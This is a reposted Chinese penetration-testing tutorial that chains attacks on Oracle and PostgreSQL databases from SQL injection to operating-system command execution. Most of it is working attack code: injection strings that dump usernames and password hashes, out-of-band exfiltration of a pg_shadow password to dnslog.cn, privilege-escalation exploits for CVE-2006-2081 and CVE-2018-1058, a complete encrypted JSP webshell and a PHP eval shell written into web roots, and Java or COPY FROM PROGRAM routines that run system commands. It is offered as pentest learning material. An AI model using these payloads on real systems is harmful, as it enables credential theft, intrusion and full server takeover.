子比主题，更优雅的Wordpress主题
更优雅的WordPress网站主题：子比主题！全面开启

数据库：从注入到提权的全家桶套餐 – 作者:酒仙桥六号部队

0180

0x00 前言

偶然看到了最新的数据库流行度排名，发现在前5名的关系型数据库中，日常渗透测试见到最多的便是MySQL，排名第一的Oracle可能因为企业版高昂的价格限制了用户群众，在实际中相对于MySQL遇到的偏少，作为完全免费开源的PostgreSQL，虽然也占据了榜单Top 4，但目前在国内碰到的几率也很小。
image
所以这次先重点研究一下Oracle与PostgreSQL这两种数据库从手注到提权的不同方式，避免过度依赖sqlmap一把梭的尴尬局面。
image

0x01 SQL注入分析

1.数据库类型判断

身为关系型数据库，自然避免不了SQL注入的话题，而在进行注入前，我们首先要对数据库的种类进行判断
Oracle：根据特有的表进行判断

and (select count(*) from sys.user_tables)>0

image
PostgreSQL：根据特有的语法判断

and+1::int=1--

image
接下来我们从各自的数据库语法去分析不同的SQL注入方式，SQL注入按照我们熟悉的注入语法又划分为:基于布尔的盲注、基于时间延迟的盲注、显错注入、联合查询注入、堆查询注入，我们依次来对两种数据库进行分析。

2.联合查询注入

Oracle
a.在Oracle中，存在dual虚拟表，任何用户都可以去读取查询，因为Oracle数据库的查询语句必须包含from属性，所以常用在没有目标表的select查询语句中，比如可以查询当前用户等

and 1=2 union select null,user,null from dual（获取当前用户名）

image
b.Oracle联合查询注入需要依次判断每个字段的字段类型，而不能像mysql中字段直接全部套用数字型

and 1=2 union select 1,null,null from dual

若返回正常则为整数型，异常则为字符型’null’

and 1=2 union select 1,'null','null' from dual

image
c.Oracle数据库不支持mysql中limit功能，但可以通过rownum来限制返回的结果集的行数.查看前5个数据库用户，数据库用户均存在dba_users表中

and 1=2 union select 1,username,password from dba_users where rownum<=5

image
d.联合查询注入需要用到查看表结构、字段名等功能，在mysql中大家所熟知的是information_schema，而在Oracle中同样拥有此类功能视图
dba_*  dba拥有的或可以访问的所有对象
all_*  某用户拥有的或可以访问的所有的对象
user_* 某用户拥有的所有对象(必须是拥有者owner，相当于表的创建者)
比如在user_tab_columns中，表名与字段名一一对应展示，可以同时对表名及字段名进行查询
and 1=2 union select 1,table_name,column_name from user_tab_columns where rownum<=2000
image
e.其他常用语句：
可通过查看数据库文件位置间接判断操作系统

and 1=2 union select 1,name,'null' from V$DATAFILE

image
查看数据库版本

and 1=2 union select 1,version,'null' from v$instance

image
查看用户权限

and 1=2 union select 1,privilege,'null' from session_privs

image
查看主机IP

and 1=2 unions select utl_inaddr.get_host_address from dual

image
PostgreSQL
a.在order by确认字段数量后后需跟oracle一样，使用null来填充字段，然后依次去判断每个字段的字符类型（字符类型用’null’,整数型用直接用整数代替），若直接使用整数型1,2,3来填充则会报错

and 1=2 union select 1,2,3

image

and 1=2 union select null,null,null

image
最终判断出的每个字段的类型，以及页面回显位

and 1=2 union select 100,'null','null'

image
b.查询当前数据库使用current_database()函数

and 1=2 union select 1,current_database(),'null'

image
c.PostgreSQL数据库中的pg_stat_user_tables相当于mysql中的information_schema.tables()，realname代替mysql中的table_name进行查询
d.PostgreSQL中的limit与mysql中的使用有所差异，语法为limit 1 offset 0

and 1=2 union select 1,relname,'null' from pg_stat_user_tables limit 1 offset 0

image
之后便与mysql中的联合查询注入步骤及用法一样往后进行注入取值

and 1=2 union select 1,column_name,'null' from information_schema.columns where table_name = 'tbuser' limit 1 offset 0

image

and 1=2 union select 1,username,password from tbuser where id = 2

image
e.利用sql注入查找超级用户postgres密码PostgreSQL数据库中用户账号密码存在于pg_authid以及pg_shadow表中;

and 1=2 union select 1,rolname,rolpassword from pg_authid limit 1 offset 0

image

and 1=2 union select 1,usename,passwd from pg_shadow limit 1 offset 0

image
此处有个需要注意的地方就是md5解出来的字符并不是全部都为密码，而是为“密码+账号”，如图所示，123456为用户postgres的密码
image
获取账号密码后，可以远程连接执行sql命令

image

3.布尔盲注

Oracle
a.instr()函数:查找一个字符串在指定字符串的出现位置

and 1=(instr((select user from dual),'S'))
and 2=(instr((select user from dual),'Y'))
and 3=(instr((select user from dual),'S'))

image
b.decode()函数与substr()函数结合:decode函数为字符串运算函数，若字符串1等于字符串2，则返回1，不等于则返回0
and 1=(select decode(user,’SYSTEM’,1,0) from dual) —
image
与substr()函数结合，进行布尔盲注

and 1=(select decode(substr((select username||password from tbuser),1,1),'t',1,0) from dual) --
and 1=(select decode(substr((select username||password from tbuser),2,1),'e',1,0) from dual) --
and 1=(select decode(substr((select username||password from tbuser),3,1),'s',1,0) from dual) --
and 1=(select decode(substr((select username||password from tbuser),4,1),'t',1,0) from dual) --

c.常规ascii值猜解
先使用length()判断字符串长度

and 8=(select length(username||password) from tbuser where rownum=1)

image
再逐个字符去猜解ascii码值

and 116=(select ascii(substr(username||password,1,1)) from tbuser where rownum=1)

image

and 101=(select ascii(substr(username||password,2,1)) from tbuser where rownum=1) and 115=(select ascii(substr(username||password,3,1)) from tbuser where rownum=1)and 116=(select ascii(substr(username||password,4,1)) from tbuser where rownum=1)
··· 

PostgreSQL:
a.常规ascii值猜解
length猜解长度

and (select length(current_database())) between 0 and 30

image
猜解每个字符ascii值，之后步骤与oracle相同，不再阐述

and (select ascii(substr(current_database(),1,1))) between 0 and 127

image

4.报错注入

Oracle:
utl_inaddr.get_host_name()函数

and 1=utl_inaddr.get_host_name((select username||password from dba_users where rownum=1))

image
ctxsys.drithsx.sn()函数

and 1=ctxsys.drithsx.sn(1,(select username from dba_users where rownum=1))

image
XMLType()函数

and (select upper(XMLType(chr(60)||chr(58)||(select username from tbuser where rownum=1)||chr(62))) from dual) is not null

image
dbms_xdb_version.checkin()函数

and (select dbms_xdb_version.checkin((select username||password from tbuser where rownum=1)) from dual) is not null

image
bms_xdb_version.makeversioned()函数

and (select dbms_xdb_version.makeversioned((select username||password from tbuser where rownum=1)) from dual) is not null

image
dbms_xdb_version.uncheckout()函数

and (select dbms_xdb_version.uncheckout((select username||password from tbuser where rownum=1)) from dual) is not null

image
dbms_utility.sqlid_to_sqlhash()函数

and (SELECT dbms_utility.sqlid_to_sqlhash((select username||password from tbuser where rownum=1)) from dual) is not null

image
PostgreSQL
cast()函数

and 1=cast(current_database()::text as int)--

image

and 1=cast((select relname from pg_stat_user_tables limit 1 offset 0)::text as int)--

image
之后按照联合查询对应语句依次注入取值即可

and 1=cast((select username||cpassword from tbuser where id=2)::text as int)--

image

5.延时注入

Oracle
dbms_pipe.receive_message()函数DBMS_PIPE.RECEIVE_MESSAGE(‘AAA’,3)函数，表示将为从管道AAA返回的数据等待3秒判断是否存在

and 1=dbms_pipe.receive_message('AAA', 3)

image
结合decode()函数进行盲注

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('AAA',3),0) from dual)

image

and 1=(select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('AAA',3),0) from dual)
and 1=(select decode(substr(user,3,1),'S',dbms_pipe.receive_message('AAA',3),0) from dual)
···

PostgreSQL
PostgreSQL中延时睡眠函数pg_sleep()与mysql中的sleep()用法一致

and 1=(select 1 from pg_sleep(5))

image

6.堆查询注入

Oracle
Oralce不支持堆查询注入，尝试堆查询注入直接对’;’报错为无效字符
image
PostgerSQL
堆叠注入可以结束上一条sql语句，开启新的sql语句，所以可以进行的操作也比较多，比如采用与联合查询注入相同的步骤，也可采用带外注入等
image

7.带外注入

Oracle
oracle中包含大量低权限用户可访问的默认功能，可以使用建立带外连接。utl_http包可用于向其他主机提出任意http请求(需要公网http服务)

and (select utl_http.request('dnslog.cn:80'||(select user from dual))is not null  

当没有http服务接收时，可以采用utl_inaddr包将主机名解析为IP地址，此包可根据指定的服务器生成DNS查询

and (select utl_inaddr.get_host_address((select user from dual)||'.tmpgak.dnslog.cn') from dual)is not null

image
PostgreSQL
支持跨库进行查询，利用数据库拓展dblink实现dns带外注入需要先创建dblink拓展，若服务器为windows，则可以直接安装拓展

CREATE EXTENSION dblink;

进行查询

test.php?uid=1;select * from dblink('host='||(select passwd  from pg_shadow limit 1 offset 1)||'.mn8k6n.dnslog.cn user=user dbname=dbname','select user')RETURNS (result TEXT);

image

0x02 数据库用户权限提升

Oracle数据库用户提权

提升漏洞编号为CVE-2006-2081，漏洞成因由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞，允许低权限用户以DBA权限执行任意SQL代码，此项为Oracle 10g经典提权漏洞。
先查询用户权限：
select * from user_role_privs;
image
创建程序包:

Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/

image
创建程序包体：

Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO test';
COMMIT;
RETURN(1);
END;
END;
/

image
创建过程：

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'TEST';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'TEST';
VERSION := '10.2.0.2.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/

再次查看用户权限：
image
EXP地址:
https://www.exploit-db.com/exploits/1719

PostgreSQL数据库用户权限

提升漏洞编号：CVE-2018-1058
利用范围：PostgreSQL数据库版本9.3-10
原理：当数据库用户创建一个数据库时，PostgreSQL会创建一个叫public的模式，任何用户都可以在public模式下创建对象，若不进行其他配置设定修改的情况下，默认查询等操作都是优先在public中进行查询。
如select * from a等价于select * from public.a
而名字相同的对象可以在相同数据库的不同模式下存在，也就是一个用户可以修改其他用户的查询行为，所以我们只需要通过在public模式下植入一个常见函数，比如转换大小写的函数lower(text)和upper(text)，函数功能为当此函数被超级用户调用执行时，将超级用户权限赋予低权限用户即可实现用户权限提升。
利用步骤详情：
1.查看tiquan用户是否具有超级用户权限

image

2.tiquan用户创建表并插入数据

CREATE TABLE public.tiquan AS SELECT 'tiquan'::varchar AS contents;
image
3.tiquan用户定义upper()函数

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$

   ALTER ROLE tiquan SUPERUSER;

   SELECT pg_catalog.upper($1);

$$ LANGUAGE SQL VOLATILE;

4.超级用户查询时候使用upper函数，此时已经执行了ALTER ROLE tiquan SUPERUSER
image
5.再次查看tiquan用户权限，成功提权至超级用户

image

0x03 写入webshell

Oracle写入webshell

1.利用存储过程写入webshell
a.创建webshell目录为站点绝对路径(需要已知绝对路径)

create or replace directory WEBSHELL_DIR as 'C:\apache-tomcat-8.5.56\webapps\Shopping';

image
b.利用存储过程写入一句话木马

declare
   webshell_file utl_file.file_type;
begin
   webshell_file := utl_file.fopen('WEBSHELL_DIR', '1.jsp', 'W'); 
   utl_file.put_line(webshell_file, '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>'); 
   utl_file.fflush(webshell_file); 
   utl_file.fclose(webshell_file); 
end;
/

image
c.写入成功
image
d.成功连接
image
2.利用数据库表空间结构写入文件先创建表空间，根据文件大小可相应修改表空间

create tablespace jsptest datafile 'C:\apache-tomcat-8.5.56\webapps\Shopping\1.jsp' size 100k nologging;

image
创建表名并设置要插入字符的长度，此处先测试js代码，设置长度为100

create table webshell(C varchar2(100)) tablespace jsptest;

image
写入要执行的代码

insert into WEBSHELL values(<svg/onload=alert(1>');

image
提交数据

commit;

image
提交后必须同步数据至当前表空间

alter tablespace jsptest offline;

image
删除表空间

drop tablespace jsptest including contents;

image
访问jsp文件
image

PostgreSQL写入shell

直接利用copy函数将文件写入指定目录(需要已知绝对路径且对目录具有可操作权限)

uid=1;copy (select '<?php @eval("$_POST[cmd]");?>') to 'C:\Users\test\Desktop\php\phpStudy\WWW\1.php';

image
image

0x04 提权

Oracle提权

因为java大多是以system权限运行，所以当oracle通过java获得命令执行权限时，便相当于间接获得了system权限，因此通过java权限命令执行也可以作为Oracle的提权过程

1.利用java权限提权

a.先使用dba权限赋予用户java运行权限

image

b.创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

image
c.获取java获取权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

image
d.创建执行命令的函数select

dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function shell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

image
e.执行命令

select shell('whoami') from dual;

image

2.利用存储过程提权

oracle也可以利用存储过程来进行命令执行，当用户拥有创建存储过程权限时，则可以创建一个java class，然后用创建一个存储过程来进行调用
a.查看权限发现用户具有create procedure权限

image

b.创建一个java class然后用procedure包装它进行调用

create or replace and resolve java source named CMD as
    import java.lang.*;
    import java.io.*;
    public class CMD
    {
       public static void execmd(String command) throws IOException 
       {
               Runtime.getRuntime().exec(command); 
       } 
   }
   /

image
c.创建存储进程

create or replace procedure CMDPROC(command in varchar) as language java 
    name 'CMD.execmd(java.lang.String)';
/

image
d.执行命令
image
执行成功
image

PostgreSQL命令执行

高权限命令执行漏洞CVE-2019-9193
从9.3版本开始，PostgreSQL实现了导入导出数据的命令“COPY TO/FROM PROGRAM””，而此命令允许数据库超级用户以及“pg_read_server_files”组内用户执行上任意操作系统命令
利用条件：
1.postgresql数据库版本在9.3-11.2
2.执行数据库语句用户为超级用户或者“pg_read_server_files”组用户，pg_read_server_files角色权限可以执行copy命令，且此权限为11版本新增角色，11版本以下需要超级用户权限

image

接下来开始命令执行步骤：
创建用来保存命令输出的表

DROP TABLE IF EXISTS rce;
CREATE TABLE  rce(rce_output text);

通过“COPY FROM PROGRAM”执行系统命令

COPY rce FROM PROGRAM 'whoami';

查看执行结果

SELECT * FROM rce;

image

0x05 总结

本篇文章重点在于制作了Oracle与PostgreSQL数据库从注入到提权的一个全家桶套餐，但注入到提权的路有很多条，不能局限于本文的几条，希望师傅们可以多学习多总结，制作一个属于自己的吮指原味新奥尔良奶油芝士豪华全家桶。

image

来源：freebuf.com 2021-04-20 10:54:06 by: 酒仙桥六号部队

© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
安全网站文章
喜欢就支持一下吧
点赞0
分享
相关推荐
安全小百科-GeoServer漏洞利用总结及案例参考 – 作者:vlong6
GeoServer漏洞利用总结及案例参考 – 作者:vlong6
GeoServer漏洞利用总结及案例参考 – 作者:vlong6
3年前 2025
安全小百科-科锐逆向线上班完整版视频2020年 – 作者:hgjhf63fa
科锐逆向线上班完整版视频2020年 – 作者:hgjhf63fa
科锐逆向线上班完整版视频2020年 – 作者:hgjhf63fa
3年前 1036
安全小百科-Thinkphp v5.1.41反序列化漏洞分析及EXP – 作者:4ut15m
Thinkphp v5.1.41反序列化漏洞分析及EXP – 作者:4ut15m
Thinkphp v5.1.41反序列化漏洞分析及EXP – 作者:4ut15m
3年前 885
安全小百科-Citrix未授权漏洞cve-2020-8193个人复现 – 作者:AEKiller
Citrix未授权漏洞cve-2020-8193个人复现 – 作者:AEKiller
Citrix未授权漏洞cve-2020-8193个人复现 – 作者:AEKiller
3年前 765
安全小百科-『渗透测试』记一次简单的 CMS 漏洞挖掘 – 作者:宸极实验室Sec
『渗透测试』记一次简单的 CMS 漏洞挖掘 – 作者:宸极实验室Sec
『渗透测试』记一次简单的 CMS 漏洞挖掘 – 作者:宸极实验室Sec
3年前 703
评论 抢沙发

请登录后发表评论

搜索
开启精彩搜索
标签云
龟背龚某龙鱼龙马龙首龙车龙身龙芯龙生九子龙火龙海市龙泉驿区龙岩市龙女龙南县龙凤龙伯龍首龍門龍身
公司成功上市啦！ - 作者:KOAL格尔国信-安全小百科

公司成功上市啦！ – 作者:KOAL格尔国信

admin的头像-安全小百科3年前
049640
Comdev eCommerce 3.0 - 'config.php' Remote File Inclusion-安全小百科

Comdev eCommerce 3.0 – ‘config.php’ Remote File Inclusion

admin的头像-安全小百科3年前
47620
GeoServer漏洞利用总结及案例参考 - 作者:vlong6-安全小百科

GeoServer漏洞利用总结及案例参考 – 作者:vlong6

admin的头像-安全小百科3年前
020250
女祭女戚-安全小百科

女祭女戚

admin的头像-安全小百科3年前
012720
帆软10.0 Getshell漏洞分析-安全小百科

帆软10.0 Getshell漏洞分析

admin的头像-安全小百科3年前
011760
科锐逆向线上班完整版视频2020年 - 作者:hgjhf63fa-安全小百科

科锐逆向线上班完整版视频2020年 – 作者:hgjhf63fa

admin的头像-安全小百科3年前
010360
恐龙抗狼扛的头像-安全小百科

恐龙抗狼扛1年前0

kankan
admin的头像-安全小百科

啊啊啊啊3年前0

66666666666666